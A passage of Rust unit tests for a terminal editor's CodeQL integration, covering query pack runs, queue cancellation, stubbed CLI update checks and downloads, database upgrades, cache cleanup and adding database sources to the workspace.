            app.list_picker.as_mut().unwrap().selected = row;
            app.confirm_list_picker();
            assert_eq!(app.list_picker.as_ref().unwrap().selected, row);
        }
        assert_eq!(labels(&app)[0], "\u{25b6} Run on the 3 checked databases");
        assert_eq!(labels(&app)[3], "[x] gone");
        // Unchecking all of them refuses to run.
        for row in [1, 2, 3] {
            app.list_picker.as_mut().unwrap().selected = row;
            app.confirm_list_picker();
        }
        app.list_picker.as_mut().unwrap().selected = 0;
        app.confirm_list_picker();
        assert_eq!(app.status, "Check at least one database to run on");
        for row in [3, 2, 1] {
            app.list_picker.as_mut().unwrap().selected = row;
            app.confirm_list_picker();
        }

        app.list_picker.as_mut().unwrap().selected = 0;
        app.confirm_list_picker();
        assert!(app.list_picker.is_none());
        assert_eq!(
            app.status,
            "Running CodeQL queries 1/3: q.ql on app\u{2026}"
        );
        // gone disappears before its turn: skipped, the rest still run.
        let mut store = crate::codeql_db::DatabaseStore::load(&App::codeql_db_store_path());
        store.databases.retain(|db| db.name != "gone");
        store.save(&App::codeql_db_store_path()).unwrap();
        drain_one_codeql_run(&mut app);
        assert_eq!(
            app.status,
            "Running CodeQL queries 2/3: q.ql on lib\u{2026}"
        );
        drain_one_codeql_run(&mut app);
        assert!(app.codeql_run.is_none());
        assert_eq!(app.status, "Ran 3 CodeQL queries, 1 failed");

        let history = crate::codeql_query::History::load(&App::codeql_history_path());
        let ran: Vec<&str> = history
            .entries
            .iter()
            .map(|e| e.database.as_str())
            .collect();
        assert_eq!(ran.len(), 2);
        assert!(ran.contains(&"app") && ran.contains(&"lib"), "{ran:?}");
        for e in &history.entries {
            let text =
                std::fs::read_to_string(crate::codeql_query::query_text_path(&e.output, &e.query))
                    .unwrap();
            assert_eq!(text, "select 2", "the buffer, not the file");
        }
    });
}

#[cfg(unix)]
#[test]
fn running_a_codeql_pack_runs_each_query_in_turn_past_a_failure() {
    // #578: `r` on a pack line queues every query in it; each run lands in
    // the query history in order and a failing one doesn't stop the rest.
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let bin = tempfile::tempdir().unwrap();
        let mut app = codeql_pack_fixture(tmp.path(), bin.path());
        let pack = tmp.path().join("pack");
        assert_eq!(
            app.codeql.queries[0].queries,
            vec![pack.join("a.ql"), pack.join("b.ql"), pack.join("c.ql")]
        );
        app.handle_codeql_key(KeyEvent::new(KeyCode::Char('r'), KeyModifiers::NONE));
        assert_eq!(
            app.status,
            "Running CodeQL queries 1/3: a.ql on app\u{2026}"
        );
        drain_one_codeql_run(&mut app);
        assert_eq!(
            app.status,
            "Running CodeQL queries 2/3: b.ql on app\u{2026}"
        );
        drain_one_codeql_run(&mut app);
        assert_eq!(
            app.status,
            "Running CodeQL queries 3/3: c.ql on app\u{2026}"
        );
        drain_one_codeql_run(&mut app);
        assert_eq!(app.status, "Ran 3 CodeQL queries, 1 failed");
        assert!(app.codeql_run.is_none());
        assert!(app.codeql_run_queue.is_empty());
        // Newest first: one entry per query, in the order they ran.
        assert_eq!(app.codeql.history.len(), 3, "{:?}", app.codeql.history);
        assert!(app.codeql.history[2].starts_with("\u{2713} a.ql \u{b7} app"));
        assert_eq!(
            app.codeql.history[1],
            "\u{2717} b.ql \u{b7} app \u{b7} failed: ERROR: b is broken"
        );
        assert!(app.codeql.history[0].starts_with("\u{2713} c.ql \u{b7} app"));
        let calls = std::fs::read_to_string(bin.path().join("codeql-calls.log")).unwrap();
        let at = |q: &str| calls.find(&format!("pack/{q}.ql")).unwrap();
        assert!(at("a") < at("b") && at("b") < at("c"), "{calls}");
    });
}

#[cfg(unix)]
#[test]
fn queued_codeql_queries_are_cancelled_from_the_palette_or_with_esc() {
    // #578: cancelling drops the queries still waiting; the one running
    // finishes and is recorded.
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    use crate::widgets::command_palette::Command;
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let bin = tempfile::tempdir().unwrap();
        let mut app = codeql_pack_fixture(tmp.path(), bin.path());
        app.run_command(Command::CodeqlRunPack);
        assert!(app.status.contains("1/3"), "{}", app.status);
        app.run_command(Command::CodeqlCancelQueue);
        assert_eq!(app.status, "Cancelled 2 queued CodeQL queries");
        wait_for_codeql(&mut app);
        assert_eq!(app.codeql.history.len(), 1, "{:?}", app.codeql.history);
        assert!(app.codeql.history[0].starts_with("\u{2713} a.ql"));

        // Esc in the side bar cancels first and leaves the view only after.
        app.set_sidebar_view(SidebarView::CodeQL);
        app.focus = Pane::Tree;
        app.handle_codeql_key(KeyEvent::new(KeyCode::Char('r'), KeyModifiers::NONE));
        app.handle_codeql_key(KeyEvent::new(KeyCode::Esc, KeyModifiers::NONE));
        assert_eq!(app.status, "Cancelled 2 queued CodeQL queries");
        assert!(app.sidebar_view == SidebarView::CodeQL);
        wait_for_codeql(&mut app);
        assert_eq!(app.codeql.history.len(), 2, "{:?}", app.codeql.history);
        app.run_command(Command::CodeqlCancelQueue);
        assert_eq!(app.status, "No CodeQL queries are queued");
        app.handle_codeql_key(KeyEvent::new(KeyCode::Esc, KeyModifiers::NONE));
        assert!(app.sidebar_view == SidebarView::Explorer);
        assert_eq!(
            Command::from_id("codeql_run_pack"),
            Some(Command::CodeqlRunPack)
        );
        assert_eq!(
            Command::CodeqlRunPack.title(),
            "CodeQL: Run Queries in Pack"
        );
        assert_eq!(
            Command::CodeqlCancelQueue.title(),
            "CodeQL: Cancel Queued Queries"
        );
    });
}

#[cfg(unix)]
#[test]
fn running_a_codeql_pack_is_refused_while_a_query_runs_or_without_a_database() {
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    use crate::widgets::command_palette::Command;
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let bin = tempfile::tempdir().unwrap();
        let mut app = codeql_pack_fixture(tmp.path(), bin.path());
        // A single query is running: the pack run is refused, not mixed in.
        app.run_command(Command::CodeqlRunQuery);
        assert!(app.codeql_run.is_some());
        app.handle_codeql_key(KeyEvent::new(KeyCode::Char('r'), KeyModifiers::NONE));
        assert_eq!(app.status, "A CodeQL query is already running");
        assert!(app.codeql_run_queue.is_empty());
        wait_for_codeql(&mut app);
        assert_eq!(app.codeql.history.len(), 1);

        // Nothing selected in the Queries section.
        app.codeql.selected = 0;
        app.run_command(Command::CodeqlRunPack);
        assert!(app.status.contains("Select a query pack"), "{}", app.status);

        // No current database: nothing is queued or recorded.
        let mut store = crate::codeql_db::DatabaseStore::load(&App::codeql_db_store_path());
        store.current = None;
        store.save(&App::codeql_db_store_path()).unwrap();
        app.open_codeql_view();
        let row = app
            .codeql
            .lines()
            .iter()
            .position(|l| {
                matches!(
                    l,
                    crate::widgets::codeql::Line::Action(
                        crate::widgets::codeql::Action::RunQuery(0, 1),
                        _
                    )
                )
            })
            .expect("b.ql is listed");
        app.codeql.selected = row;
        app.run_command(Command::CodeqlRunPack);
        assert_eq!(app.status, "Add a CodeQL database and select it first");
        assert!(app.codeql_run.is_none());
        assert!(app.codeql_run_queue.is_empty());
        assert_eq!(app.codeql.history.len(), 1);
    });
}

#[cfg(unix)]
#[test]
fn codeql_run_tests_runs_the_test_pack_through_the_testing_view() {
    // #578: "CodeQL: Run Tests" runs every CodeQL test with the app's
    // `codeql`, and the results land in the Testing view; outside a
    // CodeQL test workspace it says why nothing ran.
    // Opening the CodeQL view reads croft's cache, whose test override is
    // process-global: without the lock and a cache of its own, this test
    // reads whatever another CodeQL test has there at the time.
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        use crate::testing::model::TestStatus;
        use crate::widgets::command_palette::Command;
        use std::os::unix::fs::PermissionsExt;
        assert_eq!(
            Command::from_id("codeql_run_tests"),
            Some(Command::CodeqlRunTests)
        );
        assert_eq!(Command::CodeqlRunTests.title(), "CodeQL: Run Tests");

        let plain = tempfile::tempdir().unwrap();
        let mut app = App::new(plain.path().to_path_buf()).unwrap();
        app.run_command(Command::CodeqlRunTests);
        assert!(
            app.status.starts_with("No CodeQL tests here"),
            "{}",
            app.status
        );

        let tmp = tempfile::tempdir().unwrap();
        let root = tmp.path().canonicalize().unwrap();
        std::fs::create_dir_all(root.join("test/Bad")).unwrap();
        std::fs::write(
            root.join("test/qlpack.yml"),
            "name: acme/tests\nextractor: rust\ntests: .\n",
        )
        .unwrap();
        std::fs::write(root.join("test/Bad/Bad.ql"), "select 1").unwrap();
        std::fs::write(root.join("test/Bad/Bad.expected"), "").unwrap();
        let bin = tempfile::tempdir().unwrap();
        let log = bin.path().join("calls.log");
        let program = bin.path().join("codeql");
        std::fs::write(
            &program,
            format!(
                "#!/bin/sh\necho \"$*\" >> '{log}'\n\
             echo '[1/1 comp 1s eval 9ms] FAILED(RESULT) {root}/test/Bad/Bad.ql'\n\
             echo '--- expected'\necho '+++ actual'\necho '+| 1 |'\n\
             echo '0 tests passed; 1 tests failed:'\nexit 1\n",
                log = log.display(),
                root = root.display(),
            ),
        )
        .unwrap();
        std::fs::set_permissions(&program, std::fs::Permissions::from_mode(0o755)).unwrap();
        let mut app = App::new(root.clone()).unwrap();
        app.set_codeql_program(program.clone());
        app.run_command(Command::CodeqlRunTests);
        assert_eq!(app.status, "Running CodeQL tests");
        assert!(app.sidebar_view == SidebarView::Testing);
        let deadline = std::time::Instant::now() + std::time::Duration::from_secs(10);
        loop {
            let _ = app.test_worker.drain(&mut app.testing);
            if !app.testing.is_busy()
                && app
                    .testing
                    .cases_for_test()
                    .contains(&(String::from("test/Bad::Bad.ql"), TestStatus::Failed))
            {
                break;
            }
            assert!(
                std::time::Instant::now() < deadline,
                "the CodeQL run never reported; cases: {:?}",
                app.testing.cases_for_test()
            );
            std::thread::sleep(std::time::Duration::from_millis(20));
        }
        assert_eq!(app.testing.failed_count(), 1);
        assert_eq!(std::fs::read_to_string(&log).unwrap(), "test run test\n");
    });
}

#[cfg(unix)]
#[test]
fn a_codeql_test_clicked_in_the_tree_runs_with_the_configured_codeql() {
    // #578: the test worker learns the app's `codeql` when it starts and
    // whenever it changes, so a tree click runs the configured program
    // (never PATH's) without "CodeQL: Run Tests" having run first.
    use crate::testing::model::TestStatus;
    use std::os::unix::fs::PermissionsExt;
    let tmp = tempfile::tempdir().unwrap();
    let root = tmp.path().canonicalize().unwrap();
    std::fs::create_dir_all(root.join("test/Find")).unwrap();
    std::fs::write(root.join("test/qlpack.yml"), "name: acme/tests\ntests: .\n").unwrap();
    std::fs::write(root.join("test/Find/Find.qlref"), "Find.ql\n").unwrap();
    std::fs::write(root.join("test/Find/Find.expected"), "").unwrap();
    let bin = tempfile::tempdir().unwrap();
    let log = bin.path().join("calls.log");
    let program = bin.path().join("codeql");
    std::fs::write(
        &program,
        format!(
            "#!/bin/sh\necho \"$*\" >> '{log}'\n\
             echo '[1/1 comp 1s eval 9ms] PASSED {root}/test/Find/Find.qlref'\nexit 0\n",
            log = log.display(),
            root = root.display(),
        ),
    )
    .unwrap();
    std::fs::set_permissions(&program, std::fs::Permissions::from_mode(0o755)).unwrap();
    let mut app = App::new(root.clone()).unwrap();
    app.set_codeql_program(program);
    app.run_test(String::from("test/Find::Find.qlref"));
    let deadline = std::time::Instant::now() + std::time::Duration::from_secs(10);
    loop {
        let _ = app.test_worker.drain(&mut app.testing);
        if app.testing.status_of("test/Find::Find.qlref") == Some(TestStatus::Passed) {
            break;
        }
        assert!(
            std::time::Instant::now() < deadline,
            "the clicked test never ran with the configured codeql; cases: {:?}",
            app.testing.cases_for_test()
        );
        std::thread::sleep(std::time::Duration::from_millis(20));
    }
    assert_eq!(
        std::fs::read_to_string(&log).unwrap(),
        "test run test/Find/Find.qlref\n"
    );
}

#[cfg(unix)]
#[test]
fn copy_codeql_version_copies_croft_the_cli_and_the_platform() {
    // Opening the CodeQL view reads croft's cache, whose test override is
    // process-global: without the lock and a cache of its own, this test
    // reads whatever another CodeQL test has there at the time.
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let bin = tempfile::tempdir().unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.codeql_program = fake_codeql(bin.path(), "", 0, "");
        // The fake prints nothing on stdout; give it a version to report.
        let script = std::fs::read_to_string(&app.codeql_program).unwrap();
        std::fs::write(
            &app.codeql_program,
            script.replace("exit 0", "echo 2.19.3\nexit 0"),
        )
        .unwrap();
        app.run_command(crate::widgets::command_palette::Command::CodeqlCopyVersion);
        let deadline = std::time::Instant::now() + std::time::Duration::from_secs(10);
        while !app.drain_codeql_version() {
            assert!(
                std::time::Instant::now() < deadline,
                "the version check never finished"
            );
            std::thread::sleep(std::time::Duration::from_millis(20));
        }
        assert_eq!(app.status, "Copied CodeQL version information");
        let clip = crate::clipboard::read_string().unwrap();
        assert!(clip.contains(concat!("croft version: ", env!("CARGO_PKG_VERSION"))));
        assert!(clip.contains("CodeQL CLI version: 2.19.3"));
        let calls = std::fs::read_to_string(bin.path().join("codeql-calls.log")).unwrap();
        assert_eq!(calls.trim(), "version --format=terse");
    });
}

/// Offline stand-ins for the CodeQL CLI's network calls (#578): the
/// latest release is `latest`, and a download copies `zip` (or fails with
/// `offline` when there is none), noting each URL asked for in `urls`.
fn offline_codeql_net(
    latest: &str,
    zip: Option<std::path::PathBuf>,
    urls: std::sync::Arc<std::sync::Mutex<Vec<String>>>,
) -> crate::codeql_cli::Net {
    let latest = latest.to_string();
    crate::codeql_cli::Net {
        latest: std::sync::Arc::new(move || Ok(latest.clone())),
        download: std::sync::Arc::new(move |url, dest, progress| {
            urls.lock().unwrap().push(url.to_string());
            let zip = zip.as_ref().ok_or_else(|| String::from("offline"))?;
            let n = std::fs::copy(zip, dest).map_err(|e| e.to_string())?;
            progress(n);
            Ok(())
        }),
    }
}

/// Drain the CLI download until it lands, or fail after a few seconds.
fn wait_for_codeql_cli_download(app: &mut App) {
    let deadline = std::time::Instant::now() + std::time::Duration::from_secs(10);
    while app.codeql_cli_download.is_some() {
        app.drain_codeql_cli_download();
        assert!(
            std::time::Instant::now() < deadline,
            "the CLI download never finished"
        );
        std::thread::sleep(std::time::Duration::from_millis(20));
    }
}

/// Drain the CLI update check until it lands, or fail after a few seconds.
fn wait_for_codeql_cli_check(app: &mut App) {
    let deadline = std::time::Instant::now() + std::time::Duration::from_secs(10);
    while !app.drain_codeql_cli_check() {
        assert!(
            std::time::Instant::now() < deadline,
            "the CLI update check never finished"
        );
        std::thread::sleep(std::time::Duration::from_millis(20));
    }
}

#[cfg(unix)]
#[test]
fn codeql_cli_update_check_then_download_switches_to_the_managed_cli() {
    // #578: "Check for CLI Updates" compares the latest release with the
    // CLI in use; "Download CLI" then installs that release into the cache
    // and runs it from then on, for the Testing view's CodeQL tests too.
    let _guard = relay_test_lock()
        .lock()
        .unwrap_or_else(std::sync::PoisonError::into_inner);
    let home = tempfile::tempdir().unwrap();
    let tmp = tempfile::tempdir().unwrap();
    let bin = tempfile::tempdir().unwrap();
    let zip = bin.path().join("release.zip");
    crate::codeql_cli::write_test_archive(&zip, "#!/bin/sh\necho 2.30.0\n");
    let urls = std::sync::Arc::new(std::sync::Mutex::new(Vec::new()));
    with_relay_home(home.path(), || {
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.codeql_cli_net = offline_codeql_net("2.30.0", Some(zip.clone()), urls.clone());
        let on_path = fake_codeql(bin.path(), "", 0, "");
        let script = std::fs::read_to_string(&on_path).unwrap();
        std::fs::write(&on_path, script.replace("exit 0", "echo 2.19.3\nexit 0")).unwrap();
        app.set_codeql_program(on_path);
        app.codeql_cli_source = crate::codeql_cli::Source::Path;

        app.run_command(crate::widgets::command_palette::Command::CodeqlCheckCliUpdates);
        wait_for_codeql_cli_check(&mut app);
        assert_eq!(
            app.status,
            "CodeQL CLI v2.30.0 is available \u{2014} run CodeQL: Download CLI to install it"
        );

        app.start_codeql_cli_download("codeql-linux64.zip");
        wait_for_codeql_cli_download(&mut app);
        assert_eq!(
            app.status,
            "Installed CodeQL CLI v2.30.0 and switched to it"
        );
        let root = crate::codeql_cli::cli_root(&home.path().join(".cache").join("croft"));
        assert_eq!(
            urls.lock().unwrap().as_slice(),
            [crate::codeql_cli::download_url(
                "2.30.0",
                "codeql-linux64.zip"
            )]
        );
        assert_eq!(
            app.codeql_program,
            crate::codeql_cli::managed_program(&root, "2.30.0")
        );
        assert!(!root.join("2.30.0.download.zip").exists());

        // The managed copy's folder names its version, so the next check
        // does not need to run it.
        app.run_command(crate::widgets::command_palette::Command::CodeqlCheckCliUpdates);
        wait_for_codeql_cli_check(&mut app);
        assert_eq!(app.status, "The CodeQL CLI is up to date (v2.30.0)");

        // Downloading an installed release reuses it.
        app.start_codeql_cli_download("codeql-linux64.zip");
        wait_for_codeql_cli_download(&mut app);
        assert_eq!(
            app.status,
            "Installed CodeQL CLI v2.30.0 and switched to it"
        );
        assert_eq!(urls.lock().unwrap().len(), 1);
    });
}

#[cfg(unix)]
#[test]
fn codeql_cli_download_keeps_the_settings_cli_and_reports_failures() {
    // #578: a CLI named in settings always wins over the downloaded one,
    // and a failed download says why on the status line.
    let _guard = relay_test_lock()
        .lock()
        .unwrap_or_else(std::sync::PoisonError::into_inner);
    let home = tempfile::tempdir().unwrap();
    let tmp = tempfile::tempdir().unwrap();
    let bin = tempfile::tempdir().unwrap();
    let urls = std::sync::Arc::new(std::sync::Mutex::new(Vec::new()));
    with_relay_home(home.path(), || {
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.codeql_cli_net = offline_codeql_net("2.30.0", None, urls.clone());
        app.start_codeql_cli_download("codeql-linux64.zip");
        wait_for_codeql_cli_download(&mut app);
        assert_eq!(
            app.status,
            "Could not install the CodeQL CLI: download failed: offline"
        );
        assert_eq!(app.codeql_program, std::path::PathBuf::from("codeql"));

        let zip = bin.path().join("release.zip");
        crate::codeql_cli::write_test_archive(&zip, "#!/bin/sh\necho 2.30.0\n");
        app.codeql_cli_net = offline_codeql_net("2.30.0", Some(zip), urls.clone());
        let mine = fake_codeql(bin.path(), "", 0, "");
        app.codeql_cli_setting = Some(mine.display().to_string());
        app.resolve_codeql_cli();
        assert_eq!(app.codeql_cli_source, crate::codeql_cli::Source::Settings);
        // No check has run, so the pinned release is the one installed.
        app.start_codeql_cli_download("codeql-linux64.zip");
        wait_for_codeql_cli_download(&mut app);
        assert_eq!(
            app.status,
            format!(
                "Installed CodeQL CLI v{}; codeql_cli_path in settings still takes precedence",
                crate::codeql_cli::PINNED_VERSION
            )
        );
        assert_eq!(app.codeql_program, mine);

        // Cleared from settings, the managed copy is found at the next
        // resolution (PATH aside).
        app.codeql_cli_setting = None;
        let resolved = crate::codeql_cli::resolve(None, None, None, &crate::app::croft_cache_dir());
        assert_eq!(
            resolved.source,
            crate::codeql_cli::Source::Managed(crate::codeql_cli::PINNED_VERSION.into())
        );
    });
}

/// Drain the database upgrade until it lands, or fail after a few seconds.
fn wait_for_codeql_upgrade(app: &mut App) {
    let deadline = std::time::Instant::now() + std::time::Duration::from_secs(10);
    while !app.drain_codeql_upgrade() {
        assert!(
            std::time::Instant::now() < deadline,
            "the upgrade never finished"
        );
        std::thread::sleep(std::time::Duration::from_millis(20));
    }
}

#[cfg(unix)]
#[test]
fn upgrading_a_codeql_database_runs_the_cli_off_the_ui_thread() {
    // #578: VS Code's "CodeQL: Upgrade Database". `u` on a database row
    // runs `codeql database upgrade` on a worker; the status line says how
    // it went, with the CLI's first error line when it failed. An upgrade
    // and a query run never overlap.
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    use crate::widgets::command_palette::Command;
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let bin = tempfile::tempdir().unwrap();
        let mut app = codeql_query_fixture(tmp.path(), "select 1");
        app.codeql_program = fake_codeql(bin.path(), "", 0, "");
        app.open_codeql_view();
        app.focus = Pane::Tree;
        app.codeql.select_database(0);
        let u = KeyEvent::new(KeyCode::Char('u'), KeyModifiers::NONE);
        app.handle_codeql_key(u);
        assert_eq!(app.status, "Upgrading CodeQL database app\u{2026}");
        app.handle_codeql_key(u);
        assert_eq!(app.status, "A CodeQL database upgrade is already running");
        app.run_command(Command::CodeqlRunQuery);
        assert_eq!(app.status, "Wait for the CodeQL database upgrade to finish");
        assert!(app.codeql_run.is_none());
        wait_for_codeql_upgrade(&mut app);
        assert_eq!(app.status, "Upgraded CodeQL database app");
        let calls = std::fs::read_to_string(bin.path().join("codeql-calls.log")).unwrap();
        assert_eq!(
            calls.trim(),
            format!("database upgrade {}", tmp.path().join("dbs/app").display())
        );

        app.codeql_program = fake_codeql(bin.path(), "", 1, "ERROR: the database is too new");
        app.run_command(Command::CodeqlUpgradeDatabase);
        wait_for_codeql_upgrade(&mut app);
        assert_eq!(
            app.status,
            "Could not upgrade CodeQL database app: ERROR: the database is too new"
        );

        // A query is running: the upgrade waits its turn.
        app.codeql_program = fake_codeql(bin.path(), "col0\n1\n", 0, "");
        app.run_command(Command::CodeqlRunQuery);
        assert!(app.codeql_run.is_some());
        app.run_command(Command::CodeqlUpgradeDatabase);
        assert_eq!(
            app.status,
            "Wait for the CodeQL query run to finish before upgrading"
        );
        assert!(app.codeql_upgrade.is_none());
        wait_for_codeql(&mut app);
        assert_eq!(
            Command::from_id("codeql_upgrade_database"),
            Some(Command::CodeqlUpgradeDatabase)
        );
        assert_eq!(
            Command::CodeqlUpgradeDatabase.title(),
            "CodeQL: Upgrade Database"
        );
    });
}

#[cfg(unix)]
#[test]
fn the_codeql_cache_commands_clean_up_the_selected_database() {
    // #578: VS Code's "CodeQL: Clear Cache", "Trim Cache" and "Trim Cache
    // to Overlay Base" run `codeql database cleanup` on the selected
    // database, one job at a time and never beside a query run.
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    use crate::widgets::command_palette::Command;
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let bin = tempfile::tempdir().unwrap();
        let mut app = codeql_query_fixture(tmp.path(), "select 1");
        app.codeql_program = fake_codeql(bin.path(), "", 0, "");
        app.open_codeql_view();
        app.codeql.select_database(0);
        let db = tmp.path().join("dbs/app");
        app.run_command(Command::CodeqlClearCache);
        assert_eq!(
            app.status,
            "Clearing the cache of CodeQL database app\u{2026}"
        );
        app.run_command(Command::CodeqlUpgradeDatabase);
        assert_eq!(
            app.status,
            "A CodeQL database cache cleanup is already running"
        );
        app.run_command(Command::CodeqlRunQuery);
        assert_eq!(
            app.status,
            "Wait for the CodeQL database cache cleanup to finish"
        );
        wait_for_codeql_upgrade(&mut app);
        assert_eq!(app.status, "Cleared the cache of CodeQL database app");
        app.run_command(Command::CodeqlTrimCache);
        wait_for_codeql_upgrade(&mut app);
        assert_eq!(app.status, "Trimmed the cache of CodeQL database app");
        app.run_command(Command::CodeqlTrimCacheToOverlay);
        wait_for_codeql_upgrade(&mut app);
        assert_eq!(
            app.status,
            "Trimmed the cache of CodeQL database app to its overlay base"
        );
        let calls = std::fs::read_to_string(bin.path().join("codeql-calls.log")).unwrap();
        let expected: Vec<String> = ["clear", "trim", "overlay"]
            .iter()
            .map(|m| format!("database cleanup --cache-cleanup={m} {}", db.display()))
            .collect();
        assert_eq!(calls.lines().collect::<Vec<_>>(), expected);

        app.codeql_program = fake_codeql(bin.path(), "", 1, "ERROR: the cache is locked");
        app.run_command(Command::CodeqlTrimCache);
        wait_for_codeql_upgrade(&mut app);
        assert_eq!(
            app.status,
            "Could not clean up the cache of CodeQL database app: ERROR: the cache is locked"
        );

        app.codeql_program = fake_codeql(bin.path(), "col0\n1\n", 0, "");
        app.run_command(Command::CodeqlRunQuery);
        app.run_command(Command::CodeqlClearCache);
        assert_eq!(
            app.status,
            "Wait for the CodeQL query run to finish before cleaning up the cache"
        );
        assert!(app.codeql_upgrade.is_none());
        wait_for_codeql(&mut app);
        assert_eq!(
            Command::from_id("codeql_trim_cache_to_overlay_base"),
            Some(Command::CodeqlTrimCacheToOverlay)
        );
    });
}

#[test]
fn a_codeql_databases_source_is_added_to_the_workspace() {
    // #578: VS Code's "CodeQL: Add Database Source to Workspace". A `src`
    // folder is added as it is; a `src.zip` is extracted once into croft's
    // cache and that folder added.
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    use crate::widgets::command_palette::Command;
    use std::io::Write as _;
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let folder_db = make_codeql_db(&tmp.path().join("dbs"), "folder", "go");
        std::fs::create_dir_all(folder_db.join("src/proj")).unwrap();
        std::fs::write(folder_db.join("src/proj/main.go"), "package main\n").unwrap();
        let zip_db = make_codeql_db(&tmp.path().join("dbs"), "zipped", "go");
        let mut z = zip::ZipWriter::new(std::fs::File::create(zip_db.join("src.zip")).unwrap());
        let opts = zip::write::SimpleFileOptions::default()
            .compression_method(zip::CompressionMethod::Stored);
        z.start_file("proj/main.go", opts).unwrap();
        z.write_all(b"package main\n").unwrap();
        z.finish().unwrap();
        let bare_db = make_codeql_db(&tmp.path().join("dbs"), "bare", "go");
        let mut store = crate::codeql_db::DatabaseStore::default();
        for db in [&folder_db, &zip_db, &bare_db] {
            store.add(db).unwrap();
        }
        store.current = Some(0);
        store.save(&App::codeql_db_store_path()).unwrap();
        let ws = tmp.path().join("ws");
        std::fs::create_dir_all(&ws).unwrap();
        let mut app = App::new(ws).unwrap();
        app.workspace_folders_path = tmp.path().join("folders.json");
        let has_root = |app: &App, p: &std::path::Path| {
            app.roots.iter().any(|r| r == p.canonicalize().unwrap())
        };

        app.run_command(Command::CodeqlAddDatabaseSource);
        assert_eq!(
            app.status,
            "Added the source of CodeQL database folder to the workspace"
        );
        assert!(has_root(&app, &folder_db.join("src")));
        app.run_command(Command::CodeqlAddDatabaseSource);
        assert_eq!(
            app.status,
            "The source of CodeQL database folder is already in the workspace"
        );

        app.open_codeql_view();
        app.focus = Pane::Tree;
        app.codeql.select_database(1);
        let w = KeyEvent::new(KeyCode::Char('w'), KeyModifiers::NONE);
        app.handle_codeql_key(w);
        assert_eq!(
            app.status,
            "Added the source of CodeQL database zipped to the workspace"
        );
        let extracted = App::codeql_source_cache_dir().join(crate::codeql_db::source_cache_name(
            &zip_db,
            &zip_db.join("src.zip"),
        ));
        assert_eq!(
            std::fs::read_to_string(extracted.join("proj/main.go")).unwrap(),
            "package main\n"
        );
        assert!(has_root(&app, &extracted));

        // Extracted once: adding it again reuses the folder as it is.
        std::fs::write(extracted.join("mine.txt"), "kept").unwrap();
        app.remove_workspace_folder(extracted.canonicalize().unwrap());
        assert!(!has_root(&app, &extracted));
        app.set_sidebar_view(SidebarView::CodeQL);
        app.focus = Pane::Tree;
        app.codeql.select_database(1);
        app.handle_codeql_key(w);
        assert!(has_root(&app, &extracted));
        assert!(extracted.join("mine.txt").exists());

        // A database replaced at the same path has a new src.zip: it is
        // extracted afresh and the out-of-date copy dropped.
        app.remove_workspace_folder(extracted.canonicalize().unwrap());
        let mut z = zip::ZipWriter::new(std::fs::File::create(zip_db.join("src.zip")).unwrap());
        z.start_file("proj/main.go", opts).unwrap();
        z.write_all(b"package main // v2\n").unwrap();
        z.finish().unwrap();
        app.set_sidebar_view(SidebarView::CodeQL);
        app.focus = Pane::Tree;
        app.codeql.select_database(1);
        app.handle_codeql_key(w);
        let fresh = App::codeql_source_cache_dir().join(crate::codeql_db::source_cache_name(
            &zip_db,
            &zip_db.join("src.zip"),
        ));
        assert_ne!(fresh, extracted);
        assert_eq!(
            std::fs::read_to_string(fresh.join("proj/main.go")).unwrap(),
            "package main // v2\n"
        );
        assert!(has_root(&app, &fresh));
        assert!(!extracted.exists(), "the stale extraction is removed");

        app.codeql.select_database(2);
        app.handle_codeql_key(w);
        assert_eq!(
            app.status,
            "CodeQL database bare has no src folder or src.zip"
        );
        assert_eq!(
            Command::CodeqlAddDatabaseSource.title(),
            "CodeQL: Add Database Source to Workspace"
        );
    });
}

#[test]
fn deleting_unused_codeql_databases_keeps_used_current_and_outside_ones() {
    // #578: VS Code's "CodeQL: Delete Unused Databases". Only copies in
    // croft's cache that no query history entry ran on go, after a
    // confirmation; the current database and ones elsewhere stay.
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    use crate::widgets::command_palette::Command;
    use crate::widgets::input_prompt::InputPurpose;
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let cache = App::codeql_db_cache_dir();
        // An archive's extraction keeps the database one level down.
        let cached = |name: &str| make_codeql_db(&cache.join(name), name, "go");
        let used = cached("used");
        let legacy = cached("legacy");
        let current = cached("current");
        let stale_a = cached("stale-a");
        let stale_b = cached("stale-b");
        let outside = make_codeql_db(tmp.path(), "outside", "go");
        let mut store = crate::codeql_db::DatabaseStore::default();
        for db in [&used, &legacy, &current, &stale_a, &stale_b, &outside] {
            store.add(db).unwrap();
        }
        // Renamed since its run: the history still finds it by path.
        store.rename(0, "used, renamed").unwrap();
        store.current = Some(2);
        store.save(&App::codeql_db_store_path()).unwrap();
        let mut history = crate::codeql_query::History::default();
        for (db, name, path) in [
            (&used, "used", Some(used.clone())),
            // Saved before runs recorded a path: matched by name.
            (&legacy, "legacy", None),
        ] {
